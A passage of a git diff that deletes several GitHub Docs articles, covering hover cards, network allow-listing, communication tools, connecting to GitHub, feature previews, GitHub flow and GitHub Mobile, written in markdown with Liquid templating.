to get more information about the article. The hover card provides basic information about the article, so you can determine whether it will be useful to you without leaving the article you're reading. - -If you navigate {% data variables.product.prodname_docs %} with a mouse, the hover card is displayed when you hover the cursor over a link. The card shows the article's location, title, and introduction. - -![Screenshot of part of an article on {% data variables.product.prodname_docs %}. The cursor hovers over a link to an article and a hover card is shown.](/assets/images/help/docs/hover-card.png) - -## Using hover cards with a keyboard - -When you have placed focus on a link to an article, you can press Enter to follow the link directly, or you can press Alt+↑ (Windows/Linux) or Option+↑ (Mac) to open the hover card. - -With the hover card open, you can press Enter to follow the link, or you can press Esc to close the hover card. diff --git a/content/get-started/using-github/allowing-access-to-githubs-services-from-a-restricted-network.md b/content/get-started/using-github/allowing-access-to-githubs-services-from-a-restricted-network.md deleted file mode 100644 index f10e2afcd710..000000000000 --- a/content/get-started/using-github/allowing-access-to-githubs-services-from-a-restricted-network.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Allowing access to GitHub's services from a restricted network -intro: "If your network restricts access to specific domains, a network administrator may be able to grant access to {% data variables.product.company_short %}'s services by creating exceptions for {% data variables.product.company_short %}'s domain names." -versions: - fpt: '*' - ghec: '*' -shortTitle: Allow network access ---- - -## About access to {% data variables.product.github %} from a restricted network - -In rare cases, an institution's network access policy may restrict access to specific domain names for end users. For example, the policy may use DNS filtering to deny access to sites like {% data variables.product.prodname_dotcom %}. If your institution requires this level of control, but you still want to permit access to services on {% data variables.product.prodname_dotcom %}, you can create exceptions in your policy to allow access to the necessary domains. - -## Retrieving {% data variables.product.company_short %}'s domain names using the REST API - -You can use the REST API to retrieve a list of {% data variables.product.company_short %}'s domain names. - -> [!WARNING] -> The list of domains from the REST API is not intended to be comprehensive. If you block access to services using DNS, but selectively allow access to {% data variables.product.company_short %}'s domain names, any or all of {% data variables.product.prodname_dotcom %} and related services may not function properly or at all for your end users. - -For more information, see [AUTOTITLE](/rest/meta). diff --git a/content/get-started/using-github/communicating-on-github.md b/content/get-started/using-github/communicating-on-github.md deleted file mode 100644 index b526eae54f9b..000000000000 --- a/content/get-started/using-github/communicating-on-github.md +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: Communicating on GitHub -intro: 'You can discuss specific projects and changes, as well as broader ideas or team goals, using different types of discussions on {% data variables.product.github %}.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/getting-started/quickstart-for-communicating-on-github - - /articles/about-discussions-in-issues-and-pull-requests - - /github/collaborating-with-issues-and-pull-requests/about-conversations-on-github - - /github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github - - /github/getting-started-with-github/quickstart/communicating-on-github - - /get-started/quickstart/communicating-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Discussions - - Fundamentals ---- -## Introduction - -{% data variables.product.github %} provides built-in collaborative communication tools allowing you to interact closely with your community. This quickstart guide will show you how to pick the right tool for your needs. - -{% ifversion team-discussions %} -You can create and participate in issues, pull requests, {% data variables.product.prodname_discussions %}, and team discussions, depending on the type of conversation you'd like to have. -{% else %} -You can create and participate in issues, pull requests, and team discussions, depending on the type of conversation you'd like to have. -{% endif %} - -{% ifversion copilot %} - -> [!TIP] You can also use {% data variables.product.prodname_copilot_chat_short %} to generate ideas, outlines, or drafts for discussions, based on your pull requests and issues. See [AUTOTITLE](/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts). - -{% endif %} - -### {% data variables.product.prodname_github_issues %} - -* Are useful for discussing specific details of a project such as bug reports, planned improvements and feedback -* Are specific to a repository, and usually have a clear owner -* Are often referred to as {% data variables.product.prodname_dotcom %}'s bug-tracking system - -### Pull requests - -* Allow you to propose specific changes -* Allow you to comment directly on proposed changes suggested by others -* Are specific to a repository - -{% ifversion fpt or ghec %} - -### {% data variables.product.prodname_discussions %} - -* Are like a forum, and are best used for open-form ideas and discussions where collaboration is important -* May span many repositories -* Provide a collaborative experience outside the codebase, allowing the brainstorming of ideas, and the creation of a community knowledge base -* Often don’t have a clear owner -* Often do not result in an actionable task -{% endif %} - -{% ifversion team-discussions %} - -### Team discussions - -* Can be started on your team's page for conversations that span across projects and don't belong in a specific issue or pull request. Instead of opening an issue in a repository to discuss an idea, you can include the entire team by having a conversation in a team discussion. -* Allow you to hold discussions with your team about planning, analysis, design, user research and general project decision making in one place.{% ifversion ghes %} -* Provide a collaborative experience outside the codebase, allowing the brainstorming of ideas. -* Often don’t have a clear owner. -* Often do not result in an actionable task.{% endif %} -{% endif %} - -## Which discussion tool should I use? - -### Scenarios for issues - -* I want to keep track of tasks, enhancements and bugs. -* I want to file a bug report. -* I want to share feedback about a specific feature. -* I want to ask a question about files in the repository. - -#### Issue example - -This example illustrates how a {% data variables.product.prodname_dotcom %} user created an issue in our documentation open source repository to make us aware of a bug, and discuss a fix. - -![Screenshot of an issue, with the title "Blue link text in notices is unreadable due to blue background."](/assets/images/help/issues/issue-example.png) - -* A user noticed that the blue color of the banner at the top of the page in the Chinese version of the {% data variables.product.prodname_dotcom %} Docs makes the text in the banner unreadable. -* The user created an issue in the repository, stating the problem and suggesting a fix (which is, use a different background color for the banner). -* A discussion ensues, and eventually, a consensus will be reached about the fix to apply. -* A contributor can then create a pull request with the fix. - -### Scenarios for pull requests - -* I want to fix a typo in a repository. -* I want to make changes to a repository. -* I want to make changes to fix an issue. -* I want to comment on changes suggested by others. - -#### Pull request example - -This example illustrates how a {% data variables.product.prodname_dotcom %} user created a pull request in our documentation open source repository to fix a typo. - -In the **Conversation** tab of the pull request, the author explains why they created the pull request. - -![Screenshot of the "Conversation" tab of a pull request.](/assets/images/help/pull_requests/pr-conversation-example.png) - -The **Files changed** tab of the pull request shows the implemented fix. - -![Screenshot of the "Files changed" tab of a pull request.](/assets/images/help/pull_requests/pr-files-changed-example.png) - -* This contributor notices a typo in the repository. -* The user creates a pull request with the fix. -* A repository maintainer reviews the pull request, comments on it, and merges it. - -### Scenarios for {% data variables.product.prodname_discussions %} - -* I have a question that's not necessarily related to specific files in the repository. -* I want to share news with my collaborators, or my team. -* I want to start or participate in an open-ended conversation. -* I want to make an announcement to my community. - -#### {% data variables.product.prodname_discussions %} example - -This example shows the {% data variables.product.prodname_discussions %} welcome post for the {% data variables.product.prodname_dotcom %} Docs open source repository, and illustrates how the team wants to collaborate with their community. - -![Screenshot of an example of a discussion, with the title "Welcome to GitHub Docs Discussions."](/assets/images/help/discussions/github-discussions-example.png) - -This community maintainer started a discussion to welcome the community, and to ask members to introduce themselves. This post fosters an inviting atmosphere for visitors and contributors. The post also clarifies that the team's happy to help with contributions to the repository. - -{% ifversion team-discussions %} - -### Scenarios for team discussions - -* I have a question that's not necessarily related to specific files in the repository. -* I want to share news with my collaborators, or my team. -* I want to start or participate in an open-ended conversation. -* I want to make an announcement to my team. - -#### Team discussion example - -This example shows a team post for the `octo-team` team. - -![Screenshot of a team discussion that was created in a GitHub community repository.](/assets/images/help/projects/team-discussions-example.png) - -The `octocat` team member posted a team discussion, informing the team of various things: -* A team member called Mona started remote game events. -* There is a blog post describing how the teams use {% data variables.product.prodname_actions %} to produce their docs. -* Material about the April All Hands is now available for all team members to view. -{% endif %} - -{% ifversion copilot %} - -## Using {% data variables.product.prodname_copilot_short %} to gain context - -> [!NOTE] {% data reusables.copilot.copilot-requires-subscription %} - -If you need more context or clarity on a specific issue or discussion, you can use {% data variables.product.prodname_copilot %} to help answer your questions. This enables you to quickly gain insights, understand complex threads, and stay aligned with the project’s goals, fostering collaboration and knowledge sharing within the community. - -To ask a question about an issue or discussion: - -1. From anywhere on {% data variables.product.github %}, click the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon next to the search bar in the top right of the page. - - ![Screenshot of the new conversation button, highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-icon-top-right.png) - -1. In the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and include the relevant URL in your message. For example, you could ask: - - * `Explain https://github.com/monalisa/octokit/issues/1` - * `Summarize https://github.com/monalisa/octokit/discussions/4` - * `Recommend next steps for https://github.com/monalisa/octokit/issues/2` - * `What are the acceptance criteria for ISSUE URL?` - * `What are the main points made by PERSON in DISCUSSION URL?` - - If you chat with {% data variables.product.prodname_copilot %} from a specific issue or discussion, you don't need to include the URL in your question. - -{% data reusables.copilot.stop-response-generation %} - -{% endif %} - -## Next steps - -These examples showed you how to decide which is the best tool for your conversations on {% data variables.product.github %}. But this is only the beginning; there is so much more you can do to tailor these tools to your needs. - -For issues, for example, you can tag issues with labels for quicker searching and create issue templates to help contributors open meaningful issues. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues#working-with-issues) and [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates). - -For pull requests, you can create draft pull requests if your proposed changes are still a work in progress. Draft pull requests cannot be merged until they're marked as ready for review. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests#draft-pull-requests). - -For {% data variables.product.prodname_discussions %}, you can{% ifversion fpt or ghec %} set up a code of conduct and{% endif %} pin discussions that contain important information for your community. For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -{% ifversion team-discussions %}For team discussions, you can edit or delete discussions on a team's page, and you can configure notifications for team discussions. For more information, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions).{% endif %} - -To learn some advanced formatting features that will help you communicate, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github). diff --git a/content/get-started/using-github/connecting-to-github.md b/content/get-started/using-github/connecting-to-github.md deleted file mode 100644 index 94dba5a25933..000000000000 --- a/content/get-started/using-github/connecting-to-github.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Connecting to GitHub -intro: 'Learn about the tools you can use to work with repositories hosted on {% data variables.product.github %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - CLI - - Codespaces - - Desktop - - Git - - Fundamentals ---- - -## Introduction - -{% data variables.product.github %} is a web-based app that lets you host files in repositories, collaborate on work, and track changes to files over time. Version tracking on {% data variables.product.github %} is powered by the open source software Git. Whenever you update a repository on {% data variables.product.github %}, Git tracks the changes you make. - -There are many ways to work with {% data variables.product.github %}, and you can choose a method that suits your level of experience, personal preferences, and the repositories you work with. For example, you can choose whether you want to work in the browser or from your desktop, how you want to use Git, and what capabilities you need from your editor and other software. You may choose to work with different repositories in different ways. - -If you're new to {% data variables.product.github %}, a good way to start contributing is to make changes in the browser on {% data variables.location.product_location %}. As you become more familiar with {% data variables.product.github %} and start contributing larger changes, you may want to start working with other tools. This article explains how to progress through these stages and helps you choose the best tool for your requirements at each stage. To quickly compare all the tools available for working with {% data variables.product.github %}, see [Comparison of tools for connecting to {% data variables.product.github %}](#comparison-of-tools-for-connecting-to-github). - -## Getting started - -In the user interface on {% data variables.location.product_location %}, you can perform the whole "{% data variables.product.github %} flow" for contributing to a repository, including creating a branch or fork, editing and previewing files, committing your changes, and creating a pull request. You can also upload files from your computer or download them from the repository. For more information, see [AUTOTITLE](/get-started/using-github/github-flow). - -Working directly on {% data variables.location.product_location %} is often the quickest way to contribute to a repository, for the following reasons. - -* You're working directly with the repository hosted on {% data variables.product.github %}, so you don't have to download a copy of the repository to your computer and keep this copy in sync. -* If you're already signed in to {% data variables.product.github %}, you have access to any repository where you have the necessary permissions, so you don't need to set up any additional authentication on your computer. -* You can commit changes in the user interface, so you don't need to use the command line or memorize any Git commands. - -For a tutorial to help you get started with making changes in the browser, see [AUTOTITLE](/get-started/start-your-journey/hello-world). - -{% ifversion fpt or ghec %} - -## Making more complex changes in the browser - -Working directly on {% data variables.location.product_location %} is best for small, simple changes, often targeting a single file in a repository. If you want to work in the browser but need to make more complex changes, such as moving content between files, you can choose from the following tools to open a repository in a dedicated editor. - -* If you want an editor where you can quickly open or create files, you can press the `.` key in any repository to open the github.dev editor. This is a lightweight web-based editor that includes many of the features of {% data variables.product.prodname_vscode %}, such as a search bar and buttons for Git commands. For more information, see [AUTOTITLE](/codespaces/the-githubdev-web-based-editor). -* If you want to stay in the browser but need to do things like run commands, create a test build of your project, or install dependencies, you can open a repository in a codespace. A codespace is a remote development environment with storage and compute power. It includes an editor and integrated terminal, and comes preinstalled with common tools you may need to work with a project, including Git. For more information, see [AUTOTITLE](/codespaces/quickstart). - -Alternatively, you can connect to {% data variables.product.github %} from your desktop, and work with a local copy of the repository.{% else %}Working directly in the browser is best for small, simple changes, often targeting a single file in a repository. If you want to make more complex changes, you may need to connect to {% data variables.product.github %} from the desktop, and work with a local copy of the repository.{% endif %} - -## Working from the desktop - -To work with a repository from your desktop, you'll need to download (or "clone") a copy of the repository to your computer, then push any changes you make to {% data variables.product.github %}. Working from your desktop can have several advantages over working in the browser. - -* You can work with all your local files and tools. -* You have access to compute power. For example, you might need to run a script to create a local preview of a site, so you can test the changes you're making. -* You don't need an Internet connection to work on a project. - -If you haven't worked with a {% data variables.product.github %} repository from your desktop before, you'll need to authenticate to {% data variables.product.github %} from your computer, so you can access the repositories you need. You may also need to set up your working environment with the tools you need to contribute, such as Git, an editor, and dependencies for a project. For these reasons, it can take longer to get started if you want to work from your desktop, compared to working in the browser. - -There are several tools you can use to connect to {% data variables.product.github %} from your desktop. These tools allow you to authenticate to {% data variables.product.github %}, clone a repository, track your changes, and push the changes to {% data variables.product.github %}. - -* If you want a lot of control and flexibility, you can use the command line. You'll need to install Git and be familiar with some basic Git commands. You can also install {% data variables.product.prodname_cli %}, a command-line interface that lets you perform many actions on {% data variables.product.github %}, such as creating a pull request or forking a repository. For more information, see [AUTOTITLE](/get-started/git-basics/set-up-git) and [AUTOTITLE](/github-cli/github-cli/about-github-cli). -* If you'd prefer to use a visual interface, you can use a visual Git client such as {% data variables.product.prodname_desktop %}. With {% data variables.product.prodname_desktop %}, you can visualize the changes you're making and access most Git commands through a visual interface, so you don't need to memorize any commands. For more information, see [AUTOTITLE](/desktop/overview/about-github-desktop). -* If you want to work in one place, you can often do most things from your editor. An editor such as {% data variables.product.prodname_vscode_shortname %} includes an integrated terminal and buttons for common Git commands, so you can edit files and push your changes to {% data variables.product.github %} all from one place. You can also install an extension to work directly with pull requests and issues on {% data variables.product.github %}. To get started, see [Download {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/download). - -## Comparison of tools for connecting to {% data variables.product.github %} - -The following table provides a comparison between the tools you can use to work with repositories on {% data variables.product.github %}, both in your browser and from your desktop. - -You can perform the whole {% data variables.product.github %} flow with any of the tools described here. Each tool includes access not only to Git commands for tracking the changes you've made, but also to {% data variables.product.github %}-specific features, so you can create a pull request with your proposed changes from wherever you're working. - -For more information about how to authenticate to {% data variables.product.github %} with each of these tools, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github). - -| Tool | Use case | Browser or desktop | -| ---- | -------- | ------------------ | -| **On {% data variables.location.product_location %}** | You want a visual interface and need to make quick, simple changes, typically involving a single commit. For an introduction, see [AUTOTITLE](/get-started/start-your-journey/hello-world). | Browser | -| {% ifversion fpt or ghec %} | -| **github.dev** | You want to make more complex changes to a repository than is possible on {% data variables.product.prodname_dotcom_the_website %}, but don't need to work with a terminal or tools you have installed on your computer. For more information, see [AUTOTITLE](/codespaces/the-githubdev-web-based-editor#opening-the-githubdev-editor). | Browser | -| **{% data variables.product.prodname_github_codespaces %}** | You need the resources of a computer to do things like run scripts, create a test build of your project, or install dependencies, and you want to get started quickly by working in a cloud-based environment. For more information, see [AUTOTITLE](/codespaces/quickstart). | Browser or desktop | -| {% endif %} | -| **{% data variables.product.prodname_desktop %}** | You want to work with files locally, and would prefer a visual interface to use Git, visualize changes, and interact with {% data variables.product.github %}. For more information, see [AUTOTITLE](/desktop/overview/about-github-desktop). | Desktop | -| **IDE or text editor** | You're working with more complex files and projects and want everything in one place. | Desktop | -| **Command-line Git and {% data variables.product.prodname_cli %}** | You're used to working from the command line and want to avoid switching context, or you need to access a complex Git command that isn't integrated into visual interfaces. For more information, see [AUTOTITLE](/get-started/git-basics/set-up-git) and [AUTOTITLE](/github-cli/github-cli/about-github-cli). | Desktop | -| **{% ifversion fpt or ghec %}{% data variables.product.github %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %} API** | You want to automate common tasks such as backing up your data, or create integrations that extend {% data variables.product.github %}. For more information, see [AUTOTITLE](/rest/about-the-rest-api/comparing-githubs-rest-api-and-graphql-api). | Browser or desktop | - -## Further reading - -* [AUTOTITLE](/get-started/using-git/about-git) diff --git a/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md b/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md deleted file mode 100644 index 31fe92e86d60..000000000000 --- a/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Exploring early access releases with feature preview -intro: You can use feature preview to see products or features that are available in {% data variables.release-phases.public_preview %} and to enable or disable each feature for your personal account. -redirect_from: - - /articles/exploring-early-access-releases-with-feature-preview - - /github/getting-started-with-github/exploring-early-access-releases-with-feature-preview - - /github/getting-started-with-github/using-github/exploring-early-access-releases-with-feature-preview -versions: - fpt: '*' - ghec: '*' -topics: - - Early access -shortTitle: Feature preview ---- -## {% data variables.product.prodname_dotcom %}'s release cycle - -{% data variables.product.prodname_dotcom %}'s products and features can go through multiple release phases. - -| Phase | Description | -|-------|-------------| -| {% data variables.release-phases.private_preview_caps %} | The product or feature is under heavy development and often has changing requirements and scope. The feature is available for demonstration and test purposes but may not be documented. {% data variables.release-phases.private_preview_caps %} releases are not necessarily feature complete, no service level agreements (SLAs) are provided, and there are no technical support obligations.

**Note:** A product or feature released as a "Technology Preview" is considered to be in the {% data variables.release-phases.private_preview %} release stage. Technology Preview releases share the same characteristics of {% data variables.release-phases.private_preview %} releases as described above.| -| {% data variables.release-phases.public_preview_caps %} | The product or feature is ready for broader distribution. {% data variables.release-phases.public_preview_caps %} releases can be public or private, are documented, but do not have any SLAs or technical support obligations. | -| General availability (GA) | The product or feature is fully tested and open publicly to all users. GA releases are ready for production use, and associated SLA and technical support obligations apply. | - -## Exploring {% data variables.release-phases.public_preview %} releases with feature preview - -You can see a list of features that are available in {% data variables.release-phases.public_preview %} and a brief description for each feature. Each feature includes a link to give feedback. - -{% data reusables.feature-preview.feature-preview-setting %} -1. To view details for a feature, in the left sidebar, click the feature's name. -1. Optionally, to the right of a feature's name, click **Enable** or **Disable**. diff --git a/content/get-started/using-github/github-flow.md b/content/get-started/using-github/github-flow.md deleted file mode 100644 index 90ecf0e58ce2..000000000000 --- a/content/get-started/using-github/github-flow.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: GitHub flow -intro: 'Follow {% data variables.product.prodname_dotcom %} flow to collaborate on projects.' -redirect_from: - - /articles/creating-and-editing-files-in-your-repository - - /articles/github-flow-in-the-browser - - /articles/github-flow - - /github/collaborating-with-issues-and-pull-requests/github-flow - - /github/getting-started-with-github/github-flow - - /github/getting-started-with-github/quickstart/github-flow - - /get-started/quickstart/github-flow -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Fundamentals ---- -## Introduction - -{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow. The {% data variables.product.prodname_dotcom %} flow is useful for everyone, not just developers. For example, here at {% data variables.product.prodname_dotcom %}, we use {% data variables.product.prodname_dotcom %} flow for our [site policy](https://github.com/github/site-policy), [documentation](https://github.com/github/docs), and [roadmap](https://github.com/github/roadmap). - -## Prerequisites - -To follow {% data variables.product.prodname_dotcom %} flow, you will need a {% data variables.product.prodname_dotcom %} account and a repository. {% ifversion fpt or ghec %}For information on how to create an account, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% elsif ghes %}For more information, contact your site administrator.{% endif %} For information on how to create a repository, see [AUTOTITLE](/repositories/creating-and-managing-repositories/quickstart-for-repositories).{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %} - -## Following {% data variables.product.prodname_dotcom %} flow - -> [!TIP] -> You can complete all steps of {% data variables.product.prodname_dotcom %} flow through the {% data variables.product.prodname_dotcom %} web interface, command line and [{% data variables.product.prodname_cli %}](https://cli.github.com), or [{% data variables.product.prodname_desktop %}](/free-pro-team@latest/desktop). For more information about the tools you can use to connect to {% data variables.product.prodname_dotcom %}, see [AUTOTITLE](/get-started/using-github/connecting-to-github). - -### Create a branch - - Create a branch in your repository. A short, descriptive branch name enables your collaborators to see ongoing work at a glance. For example, `increase-test-timeout` or `add-code-of-conduct`. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository). - - By creating a branch, you create a space to work without affecting the default branch. Additionally, you give collaborators a chance to review your work. - -### Make changes - -On your branch, make any desired changes to the repository. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files), [AUTOTITLE](/repositories/working-with-files/managing-files/editing-files), [AUTOTITLE](/repositories/working-with-files/managing-files/renaming-a-file), [AUTOTITLE](/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location), or [AUTOTITLE](/repositories/working-with-files/managing-files/deleting-files-in-a-repository). - -Your branch is a safe place to make changes. If you make a mistake, you can revert your changes or push additional changes to fix the mistake. Your changes will not end up on the default branch until you merge your branch. - -Commit and push your changes to your branch. Give each commit a descriptive message to help you and future contributors understand what changes the commit contains. For example, `fix typo` or `increase rate limit`. - -Ideally, each commit contains an isolated, complete change. This makes it easy to revert your changes if you decide to take a different approach. For example, if you want to rename a variable and add some tests, put the variable rename in one commit and the tests in another commit. Later, if you want to keep the tests but revert the variable rename, you can revert the specific commit that contained the variable rename. If you put the variable rename and tests in the same commit or spread the variable rename across multiple commits, you would spend more effort reverting your changes. - -By committing and pushing your changes, you back up your work to remote storage. This means that you can access your work from any device. It also means that your collaborators can see your work, answer questions, and make suggestions or contributions. - -Continue to make, commit, and push changes to your branch until you are ready to ask for feedback. - -> [!TIP] -> Make a separate branch for each set of unrelated changes. This makes it easier for reviewers to give feedback. It also makes it easier for you and future collaborators to understand the changes and to revert or build on them. Additionally, if there is a delay in one set of changes, your other changes aren't also delayed. - -### Create a pull request - -Create a pull request to ask collaborators for feedback on your changes. Pull request review is so valuable that some repositories require an approving review before pull requests can be merged. If you want early feedback or advice before you complete your changes, you can mark your pull request as a draft. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). - -When you create a pull request, include a summary of the changes and what problem they solve. You can include images, links, and tables to help convey this information. If your pull request addresses an issue, link the issue so that issue stakeholders are aware of the pull request and vice versa. If you link with a keyword, the issue will close automatically when the pull request merges. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) and [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). - -In addition to filling out the body of the pull request, you can add comments to specific lines of the pull request to explicitly point something out to the reviewers. - -Your repository may be configured to automatically request a review from specific teams or users when a pull request is created. You can also manually @mention or request a review from specific people or teams. - -If your repository has checks configured to run on pull requests, you will see any checks that failed on your pull request. This helps you catch errors before merging your branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). - -### Address review comments - -Reviewers should leave questions, comments, and suggestions. Reviewers can comment on the whole pull request or add comments to specific lines or files. You and reviewers can insert images or code suggestions to clarify comments. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests). - -You can continue to commit and push changes in response to the reviews. Your pull request will update automatically. - -### Merge your pull request - -Once your pull request is approved, merge your pull request. This will automatically merge your branch so that your changes appear on the default branch. {% data variables.product.prodname_dotcom %} retains the history of comments and commits in the pull request to help future contributors understand your changes. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). - -{% data variables.product.prodname_dotcom %} will tell you if your pull request has conflicts that must be resolved before merging. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts). - -Branch protection settings may block merging if your pull request does not meet certain requirements. For example, you need a certain number of approving reviews or an approving review from a specific team. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -### Delete your branch - -After you merge your pull request, delete your branch. This indicates that the work on the branch is complete and prevents you or others from accidentally using old branches. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request). - -Don't worry about losing information. Your pull request and commit history will not be deleted. You can always restore your deleted branch or revert your pull request if needed. diff --git a/content/get-started/using-github/github-mobile.md b/content/get-started/using-github/github-mobile.md deleted file mode 100644 index a34e3de06c3b..000000000000 --- a/content/get-started/using-github/github-mobile.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: GitHub Mobile -intro: 'Triage, collaborate, and manage your work on {% data variables.product.github %} from your mobile device.' -shortTitle: GitHub Mobile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Mobile -redirect_from: - - /get-started/using-github/github-for-mobile - - /github/getting-started-with-github/github-for-mobile - - /github/getting-started-with-github/using-github/github-for-mobile ---- - -## About {% data variables.product.prodname_mobile %} - -{% data reusables.mobile.about-mobile %} - -{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.github %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your data through a trusted, first-party client application. - -With {% data variables.product.prodname_mobile %} you can: - -* Manage, triage, and clear notifications -* Read, review, and collaborate on issues and pull requests -* Edit files in pull requests -* Search for, browse, and interact with users, repositories, and organizations -* Receive a push notification when someone mentions your username -{% ifversion mobile-code-search %}- Search through code in a specific repository{% endif %} -{% ifversion fpt or ghec %}- Secure your GitHub.com account with two-factor authentication -* Verify your sign in attempts on unrecognized devices{% endif %} -{% ifversion copilot-chat-for-mobile %}- Use {% data variables.product.prodname_copilot_chat %} to ask and receive answers to coding-related questions{% endif %} - -The following documentation contains more information about using {% data variables.product.company_short %} features on {% data variables.product.prodname_mobile %}. - -* For more information about notifications for {% data variables.product.prodname_mobile %}, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#enabling-push-notifications-with-github-mobile). -{% ifversion mobile-code-search %}- For more information about using {% data variables.product.prodname_dotcom %} code search on {% data variables.product.prodname_mobile %}, see [AUTOTITLE](/search-github/github-code-search/using-github-code-search#using-github-code-search-on-github-mobile).{% endif %} -{% ifversion fpt or ghec %}- For more information on two-factor authentication using {% data variables.product.prodname_mobile %}, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile) and [Authenticating using {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication#verifying-with-github-mobile). {% endif %} -{% ifversion copilot-chat-for-mobile %}- For more information about using {% data variables.product.prodname_copilot_mobile %}, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-github-mobile/using-github-copilot-chat-in-github-mobile).{% endif %} -{% ifversion copilot-chat-for-mobile %}- For more information about using {% data variables.product.prodname_copilot_extensions %} in {% data variables.product.prodname_mobile %}, see [Extending {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_mobile %}](/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github-mobile#extending-copilot-chat-in-github-mobile).{% endif %} - -## Installing {% data variables.product.prodname_mobile %} - -To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile). - -## Managing accounts - -You can be simultaneously signed into mobile with multiple accounts on {% data variables.product.prodname_dotcom_the_website %}, on {% data variables.enterprise.data_residency_site %}, and on {% data variables.product.prodname_ghe_server %}. For more information about our different products, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -{% data reusables.mobile.push-notifications-on-ghes %} - -{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN. - -### Prerequisites for {% data variables.enterprise.data_residency_site %} accounts - -To access accounts on {% data variables.enterprise.data_residency %} using {% data variables.product.prodname_mobile %}, you need to install {% data variables.product.prodname_mobile %} with at least version iOS 1.182.0 or Android 1.178.0. - -### Prerequisites for {% data variables.product.prodname_ghe_server %} accounts - -You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}. - -To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.product.prodname_dotcom %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}[AUTOTITLE](/admin/release-notes) and {% endif %}[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %} in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}.{% endif %} - -During the {% data variables.release-phases.public_preview %} for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a personal account on {% data variables.product.prodname_dotcom_the_website %}. - -### Adding, switching, or signing out of accounts - -You can sign into mobile with any {% data variables.product.github %} account, on {% data variables.product.prodname_dotcom_the_website %}, on {% data variables.enterprise.data_residency_domain %}, or on {% data 